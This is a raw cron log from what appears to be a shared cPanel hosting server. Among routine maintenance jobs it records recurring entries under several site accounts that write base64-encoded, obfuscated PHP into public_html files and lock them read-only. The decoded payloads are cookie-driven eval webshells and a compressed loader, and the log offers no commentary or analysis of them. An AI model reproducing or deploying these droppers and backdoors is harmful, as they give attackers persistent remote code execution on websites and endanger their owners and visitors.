Jun  7 11:49:01 medusa CROND[23906]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 11:49:01 medusa CROND[23904]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 11:50:01 medusa CROND[25265]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 11:50:01 medusa CROND[25266]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Jun  7 11:50:01 medusa CROND[25267]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 11:50:01 medusa CROND[25268]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Jun  7 11:50:01 medusa CROND[25269]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 11:50:01 medusa CROND[25270]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Jun  7 11:50:01 medusa CROND[25271]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Jun  7 11:50:01 medusa CROND[25275]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Jun  7 11:50:01 medusa CROND[25276]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Jun  7 11:50:01 medusa CROND[25278]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Jun  7 11:50:01 medusa CROND[25283]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 11:50:01 medusa CROND[25282]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Jun  7 11:50:01 medusa CROND[25287]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Jun  7 11:50:01 medusa CROND[25289]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 11:50:01 medusa CROND[25288]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Jun  7 11:50:01 medusa CROND[25291]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 11:50:01 medusa CROND[25297]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 11:50:01 medusa CROND[25285]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Jun  7 11:50:01 medusa CROND[25299]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 11:50:01 medusa CROND[25301]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 11:50:01 medusa CROND[25292]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Jun  7 11:50:01 medusa CROND[25304]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Jun  7 11:50:01 medusa CROND[25309]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Jun  7 11:50:01 medusa CROND[25313]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 11:50:01 medusa CROND[25294]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Jun  7 11:50:01 medusa CROND[25314]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Jun  7 11:50:01 medusa CROND[25300]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Jun  7 11:50:01 medusa CROND[25318]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 11:50:01 medusa CROND[25308]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Jun  7 11:50:01 medusa CROND[25295]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 11:51:02 medusa CROND[26967]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 11:51:02 medusa CROND[26975]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 11:51:02 medusa CROND[26976]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 11:51:02 medusa CROND[26978]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 11:51:02 medusa CROND[26977]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 11:51:02 medusa CROND[26979]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 11:51:02 medusa CROND[26980]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 11:51:02 medusa CROND[26981]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 11:51:02 medusa CROND[26983]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
